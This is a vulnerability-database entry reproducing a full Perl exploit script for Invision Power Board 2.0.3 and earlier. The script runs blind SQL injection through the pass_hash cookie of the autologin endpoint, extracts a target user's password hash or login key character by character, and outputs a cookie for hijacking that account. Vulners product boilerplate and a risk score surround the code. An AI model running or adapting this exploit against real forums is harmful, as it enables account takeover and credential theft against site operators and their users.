Lucene search
K

IPB <=2.0.3 SQL-inj Exploit

🗓️ 15 Feb 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

IPB <=2.0.3 SQL-inj Exploit use LWP::UserAgent to exploit IPB 2.0.3 for SQL injection via autologi

Code

                                                use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua-&gt;agent(&quot;Mosiac 1.0&quot; . $ua-&gt;agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&amp;CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print &quot;The type of the file system is NTFS.\n\n&quot;;
print &quot;Exploit C0d3d By Jamey2244\n&quot;;
print &quot;Yes I know I'm g00d\n&quot;;
print &quot;LeTS g0!!!\n&quot;;
exit;
}

my @charset = (&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;);

my $outputs = '';

for( $i=1; $i &lt; 33; $i++ )
{
for( $j=0; $j &lt; 16; $j++ )
{
my $current = $charset[$j];
my $sql = ( $iver &lt; 2 ) ? &quot;99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*&quot; :
&quot;99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*&quot;;
my @cookie = ('Cookie' =&gt; $cpre . &quot;member_id=31337420; &quot; . $cpre . &quot;pass_hash=&quot; . $sql);
my $res = $ua-&gt;get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '&lt;title&gt;(.*)Log In(.*)&lt;/title&gt;';

$_ = $res-&gt;content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print &quot;$current\n&quot;;
last;
}

}
if ( length($outputs) &lt; 1 ) { print &quot;Not Exploitable!\n&quot;; exit; }
}
print &quot;Cookie: &quot; . $cpre . &quot;member_id=&quot; . $user . &quot;;&quot; . $cpre . &quot;pass_hash=&quot; . $outputs;
exit;

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Feb 2009 00:00Current
7.1High risk
Vulners AI Score7.1
10